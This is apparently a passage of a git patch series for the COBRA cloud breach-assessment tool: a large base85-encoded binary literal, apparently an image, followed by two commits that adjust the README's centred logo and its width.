zSFDSqF=XcR**@|Xa+my^`@`qzQ-5UN~4-!ffp=i$!dTnlG?U3lZbi$$m(_| z+)-BAU9R!=qH%q<|K>IqrCcEcfM3Zr!N@co1l~=eqS;%vC1}1m>yUjhF|efLNdY0L zUDDRHmavDgaG7;!z6z?-FO!~2uRc5dWV$o9QO3DCPR8ZgxNn`^kedEhi{c^c(LUm` z&v*nI5*v-WaiLRbXeKY-V^-63I-%!3&6CRr8$xYz)NYXb>ZLPo*(_YzH$9Ww8KPg8 zhc}0nZ|Jeua6|l*8x6gXWr?0*2F-2rk8xJ{rrE}Pk7XSS#05I5VszX^-_dxN*V6hT zjcLwGe3jQI8o|)s5%DpfN#s!5IV}GX%7kCDPWmlCKg#S?nh6=dOD2pMu*4Gz)X3B? zsr+KF@kOmsN|!4+W>C<3MLS#el2osa*x8T9tS0S9M;VswmQ&Oh(&@6(aHMgyF`@0j zHml&G+XNYt)-1^vq6C4NaiHnZnIz?vjMW{7DP=lVUtz}0Zc3D)6?$~}UrmV(HPx(quTt;NTs~*90a|e~7ook!%-EvgN18FveHq55olY~!OdIZfery>>QEK_F zNCL+ReoolN1(qBZrC#QHd>PGv9Um)sedcA3PF;*5UiUv)4i6_=s^!<{N8fv0uI1n_ zgy#N3h|G@PVvD;^F8FQ4pbhoaqSz?h^Fty|c?kG2cdx;X=3FWJz0tnOpb$&i^guE} ze0DB(0||A$-eAv4tAqh|Os`c1_0mYC;0~>vYI=Sr*zDH*_Rh4Msl8h>@;h#QiSOT~ zNX`uSEtT_N4vt5&jFRJe&{pvQAlV}C(ht$oW)6!WyAB~$nJ}kOCekWIKZBba)LI_j z_eWr(8!VEssJz7SI;n*;gHvY=%+!`(Htk_huXUwg5vC56YL@^+vt#@$f0uIN(V&Se z=1nZ`xJ$b^vZv>MqaNShiTqfi3oleH1$DTj5CUh$&ulhz&?e`SWU3`-EUX})N@Xt+-P*mHicDUvj;!g)GxKjS?^}fvS z^9>z3SYO0wxh}P=ddr31cE&v|ZfKhvzP%MIq=$C^i?xkO(I2b*`1hl<+T*dl>m}j+FvtTQ#)Ckg|dm2FU>OMj;9huqW6U%*ODnvmLrG&9xk6#JSWgE zZu3?)isOD&lhz8TOLkr5sZ=S&k6tcj>)~XO4grB>?gu2=Rlc>h@sIz)FELFxJ*=s< z!I}gRF_W*lO}F;6I_PYBDR)7(#GFH#1*u_Lt6PqWF&r8;?5FbtHI0UlG~ zXVUX#V$7-B6pcq4@^z1;>5#``po=}aWr=!rOG|Clt?8sn>7W+ruWy*|P-YKr>O_1m zb#%fSHtsZlX)VUoZlTfcf&{JV>U(THIzstCd}RixS9)r*;$2K@mgq%$BM~Gd@PRHe z4f)lNIEp)fJJQTid9770;mRBSv)F7rskLDW7Mhnxradw2h&ZxCyl~Q0yMbvt7{M&e9kW@!9;EK#6y2-P;BW+@s=hUfE4S8=h}64Rv%`;a`}d zjpO~mXh+AwT<%Ac7kodS`Nec?<)RpRc5B^UJU@dDjhNb#B zsaK&_l7#}0%?OL;4uBC7Dad*K?RIIrH5p|s6BMW^+^v2Nw&YzxvgPk9^1s#3sw`BB zF#h^7Ymg241{K0G>(CvoH>@^7C$`6nuU{j}eY{F%mr1IMXFQq<&b=hsV1X*LZ)lv1$y?UXU<5tdNz9y$+-r?U+^@NJ` zL!^OXucD@tb%%3=qduYv-Qhb2kWu^pHTRZbaW&7rCQ~ihN<;81 zHEj<|t91=mA*ho4rH8_z+E@R_U){dA3LNgAAbEkV>0598!j&5Mq1qAbEUxLT4auIk zEbi8I1m>wY+aX+4#KT_KvqNHDqV{9a`6&)6NleGx{Xv3`-LJuf-4#huC0~I9%2;i; zq;^0I=v*;v))Bsi@8)u{=w6G5i+-x|Szd)(?cNX@OY02R&eG*YlSQc>C^3eQ5BJ75 zadiJAj}9Cqih&ZXQI~zZmOCzmy8#=_gM@#bD5TJYapx9nuH2PraEFmqUMvt-)?atM%hal*cxd$=el6Y^V@#=ELxIbgoqJ#mSPF__SPQced~DIQ zkvqLV^4-dKY)Br?Bk|y#WoEpz%g*Y`A1M2Ok|CxtY_k+klVI&D{Un#@kc|HL)-8Ff zI-9aOz6`e=jXPJ9fM?E$2lD4Rpt}j0V7!yxZDIXbmQvlYBSs@wXAO#;u4R8xn9PD6v6?M)_#(?dE*RNA&is zUUpN%6!QvyHf79>@75?6ryC|k3cr%}>@hMu@6(lrm{UH;M>y5UrzP1G@%l3>fXXNr z6DYwiY)dxHG>q;cd{R?v$+#H9MzULuk)`C5Sg?-7zRHUE=}y|r`#MnkxfM`Pksb)3 zO3fihMLe{x^T!U85)8Br#!HnrYB)?M%Izs1L<$9EKnF2Jrv-M)f}!*x68Pr6g15Xc zKgT@r`zJ(MHnTSOX9s8={pj|(PNI$J?kL^oE(WJvI=WokVj*9t_U_7=CQuPhzuRVE zCmuqRBE?>F<8qj8a9>gVz{yys3h~M}Fg(Hs;s9HciPdB%`6HB7#FPS&<=y&7xFrQC zmM^|VGT^`D(sGu!btpxFdx!;%I%j>Of~tbAk+4nc?$kKxt$dw#Z|oX_A&xHNy-kU4 zLBsnmt&B@Ds-~n*-E_SSv`y*5q83=Wr|E@%y(AiXV1Ov@vP^uI6&I7kuOm95jpX#5 zVLZSVPHC4Lv=~WsFe4Ch;*LSSxf0=!wb9X??JsGY+DpT${UDy_l=^jbUh_V-pF5FJ z`k`X!sjGAszKIw6H?+`BS6ov}0Qgb!zK?3y^|Mpl;cdTaTp< zm2t-&cW#OuYr4+Dw$7z5;F~Io>TQ$JRaw=DQ0>ob)vgv~w0HB9N~se^ zX>GrkJtT9PzMPfN9S5Ic5L_-al?VjV_Wm4uD!WMMCfQj&k<5{>P>(rL^O=sEIi`z#xSY%( zX-T@|j%E~n`dBX5{$e-jGBs-B@s9*%zq+&MIg7$@2XC@Z2&EsWCZ6Pws7@%;b+#z+ z5yR`c|0isj%YvsZz{#YseC&*WI6cNz^s;wQ*|6Qs9-82#;)y%Ss6$bo(N2xLpHa%ym4 z@vWlavTCQ~At|o2Nowg)Bc-Q6)~Fm zBD^@_vy~*Nb?qDuLk)Ow`T@;9rIZ#e)PVpk@x!hQ*9ClUfnXRzt&II0G&)o8N|4#W z1>+#psJdm1K&LLfAo%%eUKvkDg;^;Ee9<@u?0pG@r)QEL>WfCGE6j-(OzZH?v$!`1 za)i0b7}H3m^zvibf}e(Bdf%kKUv`KNp*YU|pjhMA`D&(L5-{^gI6fhM?>tzQo*&|> zvw1H^n5)YxI-iM8qCeIr0q!C@>6-Zequpe-p#yRjAJ zVXr10O{xBNJXf!(tV~bAy&`ICO{)hb-exF%U#+Gj6>3#7+VgG@ODea3NY>z`miyw1 zsPC~s-*}QLEK9Nf#sc34R#q+(O`U|u=M8D*Ur(_e_NNZS)Vs}smpt!runam^Ue{6@ za8G?9;M6RIsoA}XuNsyv4P^=o{MeVs<$>2NU-3r`N| z2FSEenMc<~;ui8RCBN!k1%MFZB@E z7yQoAqj)}@e$6P-9A}Af|EM~8N{eKb)&8K)HdL;KvR)kf&Ebt1Rl2l{4!=&iujq!a z=E?`T&|(eR6?zF}E?26od29IBUwjR&oZK3<8phW2;eWn@MWtx=mWyFewCZJ%paZKH zx6Q$rg-z)zcphKgP$`~fFs<@W zAE;7Q(#1fR0lSN<6@k<1Y~qo=Owvn}W{BxrN%-5?o3GctQ=gAz?>?}+>F&|ko8g*I z%vl^%A!~FL{w>oU(35KXUBle-6-JadYe1;%E3(dTw70#DPLdrm-+pQ8yzD_NzekDW z#;7lDlYdp&)Dz(TBMf$`zB7&Lq`%5ZOzZ5b<6q5!*F@Hq8a%;_T$B1?8V;xm?G69c>azx5gXpN zW!#?0K{;h13T>@io_1X5PtxU!!8>j1d9sx8umH|?F-HtLh@kc4MaRj+Rz`AYaeNAs zDr#r^Hd6HMu`JWmkMXJ#VFL86TI3iLIkhqKZ3 zy9rNV_?8>oUz)xRSQ*tM7LZSN0%zD~x~pm|FqM9IaS84`D7H_#c0S*LMo-6HB-|zR z#7{iZmx@6=L*+a8ITm3fR?O@hiaXTG;SSkstj5maTRP#Xs-39FNMatlgy9W0=t7Bh z2@#KObpAVPnT`CZ;xJfkXjfo5)E|nrDrp9I^Zcp4T?LzB>KjURy?gzTJuZ=vNKx&w zY6&Zo6En&k4;W&^J{{l#nHu-+ChCvU7g;GM~a`ET=T&G}rwA z4yaxk^mwdfCYfH!oKL3;P1i{w@zL~cCnXL~(i`a>&CXFzbr$%Gv>CCGF*ezEm%O*p zyANlXWFX=N`JXg7?H60w>7U}s#30f&%wd2mTJwX%< z%n8R}UoRuKl{XYn>NmDo_(O3XA2C6u43+aGm5nYkzL$(vAJ=UQm_O|r&{M=ks?Jmh zT8m>RqX@>>2;?}!p z#D`O=>YNb*)mZjkQ9xXzv@wj;>}b)<>Vh2ITon6?pNp%nxW|cnpJvsTIk6{Bp<~UF zeRFMatR>+(u?WK|Lj4J&k}lJwXE4pTZjd0g3~;}#hU(&_^g3=kFeT7O&0H|DqNz}g zm{6;pyx|4QF?2t4*y??+D=l9P3%I@SmjBf0e;2TLSr|4X%9;N*EKO~#Kgsb;52m@iy6(;lH^mC*-g}P;Zzz-<3 zjrI2cf4DTHCIBlmGA=A3GgN-XV#Cfb%*w-22qFsbzf6(Z$}?m1B;uf)ohJ7x8YY-0 zWHxMg4UN^SVXQYeAm~B)N=ilaeKZ6b8ku_m%~`V3T++gVB33rv%yb1pNR+FX|P6bkH9HvP!p_k9>3GCHnCKWm!Rv|0~R!81)E37W$_7yT- zfx`}VxJe|El}cVlPb5M~%;n`x)*R%L+1d8s`fGXudTU{*XD*#1{d|9ME@u+py)x@8 zhpbxt$P=!{RQ!?J(6oQ+gEzh)Vi&X4R+EDW6Om~Xlvh>Idv{Q%#1+fqh@?O0ZjrZ) zF)P@plXNVLiUw2o&}76@t=AYVptd~LKVwC&H85A)QVVJYPzjNjK0l1{>GagG;Rkho zIs%?)T!fZABscIxU zFr?{^sSj(|g&IS-V=MTdQUK#fFsW1U042>uup zbS*E0zR_lUE!xm^nU942DIH%prFC8%e~ba+1n?A3Mq+$SbDC+a+Qs@)X!8U6T?>gl z0%#&`zyVysfOUygQ=b|2Y#R1^yP#fyQh2RC(=X;DjS`1Bk+;dl??~=YzsOq8*aHHP zeGmz*XuG#tyf;tNZL!cJqgsU(01vF&Wxi9#zN$VaovYfPC&IYuX?7d= z+%!`wlvP-TkbAr*o)NaZI8Pm6lbV(nhq0K&$;}lcVExywA%un(wA`zZ69xN(xgjO= zq_Q?Y$Hjl|L^_EHBUs@My3DX0e`r!`M?6Ii%PAbN(il;Vna^hetD^dVt6w|^geA7HCk|A^B~xECV*N%l+K|N z+-$e_i!nqt?$Zw7aZD?C=?WDra?3F0%%h7}+8+D%$ihtwAmQe64y1kjxcA({YkGN#|U9v@4AcLsU3Qfhj|e77n3 z8$0?QjSWz`alc6w??U=rY|zKoof5dKJgf?i3YQ3IFch(ub$GN7VQr23%{)*3FBfLx zw7+NP3KusQ|1O4&J2#yx5kRLMjanScX#Q-esG0+H&mdZtwtK1t(>P1meueys4quNW zc2SQOX6hBVv0IiB3lawS&*K!_P+fRx@Krg1lz1!-jm5d>Kg8U&ubyi*6ty0qWy2J- zO04Ug1ZGY=0kpf|Z-spN53P7RL;A|W$L~})mX{rOkItojWVpJ`1pb=QK8Q|sdy;Va z5q(NVp>JEA7}nURxKrBmxzdkS!MSSR907#e`gkZP_3Oa3rEtWKXk+HNEY&uow%6Hz+$yG0jyKjoi?OBZ;4(L z@)dK5=uT_akaXwbV(Vp#)7^Fx=wdfY7}bSv#i5KOGn;!%Q&nBUvgH@IPU#2m>UZ5J zV@ih=z`fgOIr*?iZ>Ru?1fha)y%0X9Mfg!FC4MY#L!mc2J2RxVUfqoA_I1*>f|@|F z@63_vVA3fI_M>=F;Rk`B`ZdYvaRj)T0C7`Z0k)?mzC5M?HEtE|f)5GX_{?~54}q}v zPYeAX5&?u?Mm0vArrR392U(2F=&P4xwS+Wn6IW0}X_d?r?sD#KM+1XHc@Fg|MT}Lx zIC8%u>9N9;S_=`=S$h5r3MG$q4SZ)&3j|P%QpZ|G0a57-D(Z`*gcYt8D}Jim@N_DN zpMb01K>@N@HivSmOhk7)(r^TT*GphOxX80&jL1?2NN%h3Ko1L*^qmRRmG6%SKSwJF zt*SbOc!Jf&Cgf^$0`o5#k9U8*Sw)Z~kE9K=iZ43W-bv`Vm_ZPZS3B(v24s&)ps{#poYBd&&r40pfa)lUQbZ`g$_Sg?uZmL!sc7F#4E0r92frsE}h1qcs-3wGGM z-TOqfZQM_clf~;VwjjQ%of?oce*nHOcHd)(XSVrlD|dkeCuE_CsOx;^Q|YtUfd?DQ z#_i<304Kll45~E9;1e+>IAU>JHQn2BN*9}c176+F=aKc`4iZ?~Z`6JO5??sDJoCF$ zs0X@`i!f_hu4}O>R23A>aNhCzsv)eaEQI?dt)sqQ^YJzD63%S0DBj=LDd$N(cNBfW zV)~}Gngd@Qr6aCA{7Yho>k;>Dx~#Eie-#u3L%X-fFtB3J)$|^9*o=g(hhQR3XWDZG z0Ljl~QScK3RTEFiwrCG=)xP5g%X7{1QlEXi<1HbeTdt>iT2Wv66XwV2-zW@Q;d%n= zZ7r+Pg`#_F4CIEmEjceij+KQ+Ufj{OwkCix+)LwV+;^5e9S)Dg8}Aps`z;^WVpPZU zNZ(#uI(+AVrqC#>Mi|bLBx?)wJWzuLsenI#A)ee`Mojn0tJlFppc$Sd?ehFkh3m@4c>4 zfMa{@qs^)W`N8K!v~FVVdHb1zRtInJK>gcj)7D@6e&Re8ge<+sx!LRj$8Em32cpxM zI3nv6JR;{jL9G@2ZPDM4+Mb-DM4yy)1})C@z85jhV&yMAQah2e)znCT_OBO)MPR27 zt5=KWkEoIEc$Uk0=K$^y95SBOtHtjLe+WgF6_xM%Ys_!0b__2-J(7gX z7=x08PahRPM) zxD-8$einB!VE(H(y}1JkA@IAjtTWQp-Iqg^q#76T*V) zWXw}U?dX?a>|*KirT+OZDS_A!$ zYlK9Gl<%TMFaYtBoreDf(LJykIa?LsAwja5fMf-=IgV(rjk=oq4?3oS|6?l(${0ZHAE|I~zGymWjE3<95>g zcwW^MTWMHr8(abMr(gMxlDb^uqiU>k|8TY2)k-PhBSCud~$ z_jO#lDYLi1436|Mjx@{J2dx=mdj;89?bWAvV^mQV7{A-N%CZOxE@lzX4I#iKxsR;K zqRO=9jrdPy9Mj7**w}lTJ(OPcIBa0uXfL8k-|w(|as8qQ$J4H$IiKsZGhgzu72!7| zRk*4j{aS7DGd62LBUjMxaFfBS`kqbUbY!g-i9NN`{I?E^YAV{>!p|4pNOd$+W;xn- z+pBb$`b&jWzU~y3fZ0AYF+k$-bK*`O4d(A3TjavT5Z;PaZvrQxd>l!&D;TR)O9@cl z^*iY{|2&w+GCLE!pebE+EY&t4V<0AH(CTwU7*7vm<4t`0d^M)}(kq`pXaNJTA$EGJ zDcgBiX*|B%OI3a9R@iU(#dcD7u`4;k9wbnz)H)qnb|$QMwO~dLTWzz0lER<&sH9&f zS-5hHUV$g`Oj+=W39mW@sbXXTk}_5_x%{2*5lxd*fC6asd;uc6J(3Yuw83cH?=`5L z+p1}>7S3AO)&1Dejx1^(**;_Jr?bP};m;lJ8{=X9wG7+Q61Ffml(J|itNzz%oh!+V`&e}5Jmy*2hlh)Jj_J@^+0M7l! zi$^+LtZZMZMPXngA!*yF?=8#gmk=Wl(W?6$M^P_p>oW_PT0stnJgqULn}+YQAk4AM zWPvtjwP;GtB>gGJL830hu$-7xiAA5M3FmhBxHJh21-DEGvLcG8fF+J?HMy-c)LO5b zv+PCey)krZ$*{N_v<-lHYf3`4w`==}Ww5jC?`incNsolGI6x06KOUF59DWd2P+A(} zBdmI10Sa@1R^UWH&1=s;3>iM3+-BJkGp56H>8vp)K~A8M=HTF`R<3z_Of{NjOK0i( zKqRy`W@#o}x zSyfVf3YX+mnWj8Jd@Ta%rl6*oB+|KFW*7WWUC}&x80UBtb@3hRIcg;=@%JrP zpiDfe2>I!H8kOH7wc<}Rs*1rd*4AG*N3wjjtpGE1$)P$UfabY(_?3!U@P3_jD9*SO zekP;U5O4b;H|5jB47>Uz#EfhiR$JLIAu1AQDr7l!Ky4u}Ymh+fwC9>VoV3c1p~pTS z8D2?5bdy+V^41-%QS0SKq0B_&MlP3%e6U}mpiwS7aISKp-8o+FY!4a8$i3bj_Zw-# zedU^S_eeW?*s8e8^V8g)o>iy_T zHhIN|u)E#-&+*P=^QxSvLoD-shI*Q$%Vb9NJ2W4Lc_)H^jn380h}7yeR@3Es;3|*O zTkDmc9lHmXJfKoi=lJo@tw;O1-G@{rXix_|DJ-z!(5nUX?&xTB;5dY_(H03n3b^Yu zE!KFJMpflKU-hzo)0H!`&wt{1`B>?v-*ePX2lL}1+zQV&CKCyqnu^{%Owp%+nDeal z+G$^lHIEuKd-l6x-jS5{&SV$1{<>_=skJZ?`hfoh^ zFVBvzbyOMD=IQ0RUL7V8RbL;NpEE zJZQ~!f*O7@7@4nH`{r34Tqv!a&gZ*T5jOe^bPSE(kN@m+Gc!L_a(6Wz&;axMZL*$U zxSu@5)H>xU9h0Y8DK+?x$|56I@-k9r%;X_6Sho;V`Qv+sZmsJ^zZTv&&G|G%dsc@( zV1ZB+>i>vJw(OT*)lZ9b%3@YqWtEpLARxJ;aM0B(?2tXb;>Y60XEabMiP7satPB{_ z6a=d`n_1dvRm}HQ8svDOFS$!uxC6)Ypc#ynccwT_? zrE+654nB6A)6=HMAb^calK2NCGo$sSPoTI+w*0DH{-n`K1=VG-i@8%!Oj{SDLbt+C zK|!s=BEc^B^@3GiC|b%J0CTkhAr+`%sIz@{)|b7`KSPC7r*k6X>^_e}CO@q+Al;~Z zeXaIyPXh$2Z>3d@TeA=U>FMhm__q)J$gbV9lVj%C%GTJ53Nv9hV`uXOhL;&Rzl!ox z06r}`Li^?4qIII>WDSgEz^Sc8RNK-}!s=*kjh6`pvhq>pA^>(n0mXsph_)3kk7yFmQHs%PWvPTuP#~dPp9PCz(*_9u&+>gkfWLqF;%Csae;Sd{ z|96eFDYno?f>xDS-T=#iW@3&>2HQjE5mLOQ28O_&iykFAbvisq>(Qh8wz3pGO)%%d zc|#|*p^I^A{Lk9Tt88vRv5N0`t*2Ktqk(YV)1-B+#LolSZSrYfslu$<-H@OOz&Pf` zb&TJ*-t~f2?D8H9Kl9{V<(Lnvxfc;#)4i2I#wZYOgr zKJ7J0@sWFs5>OYFO;s2=y%%`hMN*{PA9A_&=`;#{a7N(qYpp4on*sc1rEweWMC2pQ zDS$-oh+v^NSa*Y*dBJTB;P?XguWR4I+Y<0Hu|}{gWB_t#(CT-^m0T}+#2eX+R!h?r zZQ1k297gVx*01h)4&uu_hE@OLAAyr<;Ss5IiAR?T>U^(A3Qb>6 zuD9LUk?$JShY8dMuuIG@_dL`o=0huBqFx_@1iolQkO_nR_T3iFHhffHuQM-Kbf?#p zHdmpgtwry;7zb`6HcoLywAN2K=>BI^#I6K(1sfW-k5IT5FFi;{{vgUp9!}5B-{TC%Fqv@NI zCda|zs{+g`n(B3Vb)Rp%hCY|J*+yYjqyO@O8l5}3pZu&L4ZgA}#+Cn7o|(Gt8&~~J zMs$ez;vWl~rF<835*Qa9r+zB&P#m($^91ybDi`!FlH{5H_b>AL%B#_VhM*(1=~D#I zj`$s>%kx(lf5)tqEv|Fo`TH3+CP5cK;22b(0gwfXl$~s~E`F9EfFP3p{To#_d$gw! z0tj^jdqx%k^s;oHSL)0E@&hez3YUoh`GOB3>}`;M>|drRD%eQY`yXGQK^U^1xjZlC z{M#nKr8cRUH*`E8EsN-9`CI4}W>%iJ30D03S9@ z2hQ!I&qi@+0{!z^A(wUklVJh3DjK4Z=AE$JhE0=ee~xXD)Lx;J5km!*^_$p`*e@%VIrSpzmY*V|uhs3aL(~D~E8B9#= zAEGq4bY5&}-u>oi);iYU1?mxX{yy#}6Hxwjn zr+t-u4-*RyKN4i66<9#EVtR-SP1~=)4_mGM!veAU&p@3DAVwCRiu|jE8*5ke=LrAl z3I}GL-Fmv6$W);25qx)qLsp0C(DVZ)d3ikED)uDxsneSS8Qb0A-xX_uT9JIg|3^T=T_zz8D-iXBnf}yL zEciW}F$)Y2|4DE2NA#o-Z5oZk0%GDn0z(bl3P~17pNOMEiVKM|p?J_>2am8ttgntF~{hnigdIB& zn%b$@^uiP-rN50TX#iZdz_gSyqjp{LJRhkWr%E=B{AUA4=;H8^6;c1C_PkruTS5oT z%ggP-y!%FZ_0v`lnO==J;efby!tqTb1?msgRQa4KJU;^d-2S>UCiw5wl?O7^QHFROGW=KXBrSNw@`>+J_P_W?Htf(z z=sTJ>Ai$~7!C{;`W1dW}Z`wHM^;*^<(!yPyejng2cqXP%xjcDI?+!+RjpO9>{gTny-y1eF;x2iQ`@|pk~XfR)XEpugo^FX(&|;R3}7p zm|*`|SJ?)=6TVmkC2ho)?uH?jJUOiBr~bFi#3kyAX;GUCy?JS7sOPaW$ncWW`;P6; ze`0lB09O>9?e@xqF&sBveFpf{1>jSg|BFWcJ6l7oG1{??cIl+q%fF04j#1|2W6 zrRS(s`W=<7voUz8``SJgL(GzRkh}F+j4B~Snz{jB`)KVTg-zpiJSPA@eHxlpIKW>g zYhzsZ_BycS;25J?fFu3a`Tz#w|K2A2|5sxz7fdAJw%+B8^sBkekzf8Ow@vpJ;cOUu=P%rGk5ZrfGMo2sgfu3{Qty8{{N&0 zeSde(Lp!!WEr-AltRo|WGyBL|hvul-JuBvs#=B4;x9QhP6q6RZdyqTbLX+Ab5r2jn z=G-mwKls+f_amiVN(a?e>?fLWB(S*ACo)gnV?R)Fe>&EFKx!k3fuq*nhyzoG08RxMw4 z@giYfNFSL&6Hq$so^8OdS~vEg-|&EEQ+cOPf7Af)$-dFd0X$$ZeC{x@>&d16 z02#w$%rEdA0_P?_v8ZH^e|)3wJD0+7&^%WiR)*ZdyD33a$$A5us#CZPoI{FIIf zi=igwCWGUb?_FpL1}*NbgI}kcAI`Hk%c2`LO24DGM6PglxmY}UYtR@BpEkI*UKBm!c}Lk%>K0JWeu)we`~BI+)P>%dYkle z#AwXU<4p*A$K$t=P*Q&SjNf!6qy=8Z1`p|Xhz>{6Me`DTp2ANYkMaSE`?A$;dYThI z_x{+RxZ9HNE?AKA%Y~U9%~`BfsN6n9u1>3qhRJDA<9}*ymBzsX3HrvnVc9*%S~;18 zq7QJ=HmWdCbAQog|DwyC?(;TgZN!cNRgNB3&GV4X=b!O)x?~Ajo4D5l4ha~^)Zjgy zx`Y|0Vrk`&oqw4wbk?9b$csHKMKmm*6doKcjsDIzZa&I z@DnciHc5zN$IAj-6lk{j=tn~BOSKM?$YI=-Vr^szJ;W{3+!86s6aqW{5s6o{jsR(R zhF;&vSHSNH@qORESClnAq{b<>lz^wlNd07{$odF%d-s-w*+k|`T@G~(($IWfp9*dj z{n~GdcJH0%McD9>(lf_LpZD>~RFGNC36{w)zlfZS(YPb|>nS<{h9B*{9~)3vYzYe1Yk=k*UUY&iPO=H|q4X7ahpJ6KZUi@ct=Uj-lA=+NN0 z(XLH~!UuI}_Oe-nktZ^U@Yus|An!j3`%26{JSAZQAOMtc>R-rMRmfjtI3tDb=W@06 zft0A0A4XO!Ny6Ddx3#%efq3STa=Mb#tA2)>u3);tN8fJFk@QH$_Ka(rXkKIW{bPq> zxxgVs4N1QSS8%2}9o&1?l!pRxWf!+JGImJ$upvuXDY7r!A*j^+FOfXF+Y%qjrHI%e zU{y^%l*zCoZj>)s;l~m*C9Hz5W*&;e4VJf(kNX*1y{gr?{xvnB{Ziu(Q5`|COP(yF z_+KpQpZgC}^^&CgzVTTK(F|#A)>sm(f|13#$oS;0<2+q|q~Wje8*GS6>mEDRO?C;a zBlZ7TQ`|PoOAk{uH*e*_Uyo;Yakda~Sr-oG2LS8KDblEwUXF_6R{wLI(9MJRgO^BnyAZ(XHwIRpYu- zc~D+-b?SyPchBSa7U0<9CdT?2OTevqd6B4Fn!>h38k-Tn5{QW3kPA)UeYl^CuUX$(XD!61VKUPHrF> zYwCwg9pnDD5;>NS+Hz@79p1mejf4YRi;diHvd$>9#5mmy1N4;%)xe(@{Ehrq)8kll z^1GOQJo_;jvjaaPs^OIUwT^+-3vnCLo>W1s!L9bT@M{Xv^yqVk++Ew9Lf@A|y^e zKl*W*9^(%idWw3^fO9n_l_A5h6xHG8vd6r0G^zw=A`0?6kfU6mXm-8qY>si=K5_3S z18)%@ljpAXScjine52+Ev$P1in`E9hq-ku|5lF-aldQ)QXK{Pp$hHingvrS%7?e$M zH7CqUmbp=ik@s4ISF2;v>Os91R-_ao^8owxY5sp%Pfzz^lb|9o6` z2GRB-g&l2-=%q zi=#7srAcH(7w}nw0B&rR_fz@<=bO~#wii!k5=tS2x0h*{oLNuHQn5cry}@?^MgP7%R}Q6N^3xoxS<{H#jWcQ6qrN#mqIotSI!Qa){QoGG82vLzM|_}&m|Qo>ZRpsZ1?*te2( zCOYAFdCOeQrsdzUfU*k?M%tygY+Z(QNYW5Ow>?o-8L-l2C=PMg7S%+VN0tflBZzE@nTyp!gkw>;q(P8> zgaYRY;zc>UMzX%-+lDXnN3LivDvVMGBoO>b`>EIGM1FIvh7Grw_a+&D1TXUMs=2v5 z_2;x!tL99Bg@kcZd;RZ_t>kf<{q|6E;EYLU?%E-D-L@rpLqL+et%r3L*tUgK#vpJi zR@Q)bf76NEGeN}Wo`?dHq^(@YU~!TP1IJrX8~hc~bPMgF0;=Zjqn31d$Ti;F(t3pq zP9_U(Tqt<&%ULMo5+x4y35T9DGKq>uYMQyUdK}9q(6vchm2IpzM2`&=)+6UGNIUsv z&jVQHhffUz?QSzRh@kU@O}!eVuAEV)b3$#_bDs{s+PR%C_J*z0t_r(f71L&1g&Rxe zUZ;IN#mFoIO>jGRDTPo~A^kKOQenk4lgp9x@IOD8YQkUC?DkY;%aF-4Ka&12@Y!e^ z=EfB6H`A`*WbDDuvl}PeRqXQAfC@_JgUUJ~Z&Y>GtR#L?Y&0_va9({O&^5wj>jQbW zO7}=Gg%tE;_)!VPR>< z;zrmxbeUS4Hb*D$_1+Eyo2ZO9@hvw$1h<&kx7U%R8Ud6!LU-;iLv}Y4%#snItYL~A zoer6d>$~~HVHqO)qQl#$c(eTI4y&M>!pUvtCu4v=?vZ*h!^_At#Ja#TS9nBL737FT zztsgl^aFlX-&)o7gA2sk`c15_^0me_$UTMrlPg`fA-PCTS)5U@iWc7sShFe1`C7D2 zP$ri9s7lLBnlU)3C@Wygc<*A{$YXEUHLr_sx9*1O%&o*ib&!=gT>$lgu$|_E!ggW= zNW@{|7UgxGJ#;LMY4Ap5^m8t$=i2NaATwA{!Gy4m~E}T(JXRmDFh9w{K}!zW#2ntXu*ZGl2q-$ct5~ zN2zFv$*DK!06g{|_M`{azBxnB}zqUyeJi&R5!5AIrBRos3z$A6EY$AfQOdNs4J; zn-Y9JC>e;j)px_-aK4n@`F2%^;BEo<4h~FQPx6#o)}~+catpy!WNNk7*cKAUR3Hn& zyN2~^IEZ82SR2^i$Ld-4K*q-Nt=HY}))C+)ExLW9g#>Cd zLLT2^hjUqmCVK?`0@_HS~0mk?7n8$fjjTcxZYEWg32?Hg_c3j`4N$ow2Xau{5J<+|sgiJbioIwIQ=(RvVR!?@u`0Bn8xbm0}%(2=hPK(khB$Bt-5s+|INWeDiCfqP9Idr<7u4?;J-dyuQib7t`$b54I> zXb0RMz!dY2Z$rEs6R~{0r@c24p8A2GyY`}x2XxLX$O@oFbkG~`s-0sZ>uFOJPTYUZ zFc~T+Us6XfqI1T3Jk0yFM`K~eZ~%`*H8Pxn8H*ej)d51UiHcwPZuT-N9x1|v+c7XP z8HfLleid6}-GSVFh2-e;*K3YXSF6GkJsMuZXmhP4U0sO)k6Ar$Jg6yFofF7Arr_zk z4P9^X-6W7=me6w#3||XFMzu0S0I}Zvct1*kbY=%E)YVjmu6Bi}q6*oMmZ6rL&R=AL z=V}}nEJtKq(kEMpNVoukcFbw)1pZ?5rmA@tc8F8+sax$Ez>UWPFD3TYh`s@NxtYF& ze)mA4G6pIpCIC@q^{Y)IGXt;w7{W1>06^CVe3G`$6-ogvspIgwgirU`6I8yRm)xdU z5e)FtKIuU~N&*O<{s0B4&oCLlESljR9c3W4pkO+HX~vkD*dJr!EIMBY%AY(#K;ro4 z1r0z-ng{va0mP-Bt(xj02bl7TK;reI#Bppr(!v5e5O{!LDb0BnvZ(P1`#&ss8USizARw zUxJn#NXFGtR)rdhX^^a5f^?i*N!xWVtJc4gV!V-nnRd$Ydh1?JGy}EG!u6JMuWln3V9LC|cEa^STx~p;{wdeEqx37L=J;gtIRK>@>>EtxFhH9p^7M aBH&+2C#q(|)khJ4kDQdUWR Date: Wed, 10 Jul 2024 10:06:27 +0530 Subject: [PATCH 41/76] Updated README file --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 903b717..528310b 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@

🚀 Cloud Offensive Breach and Risk Assessment (COBRA) Tool 👩‍💻

- +

+cobra +

[![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) From 1d319ec1a21b798dc734d2606e0f0f08d258931d Mon Sep 17 00:00:00 2001 From: Anand Tiwari Date: Wed, 10 Jul 2024 10:07:16 +0530 Subject: [PATCH 42/76] updated readme file with image width --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 528310b..6f2a39f 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@

🚀 Cloud Offensive Breach and Risk Assessment (COBRA) Tool 👩‍💻

-cobra +cobra

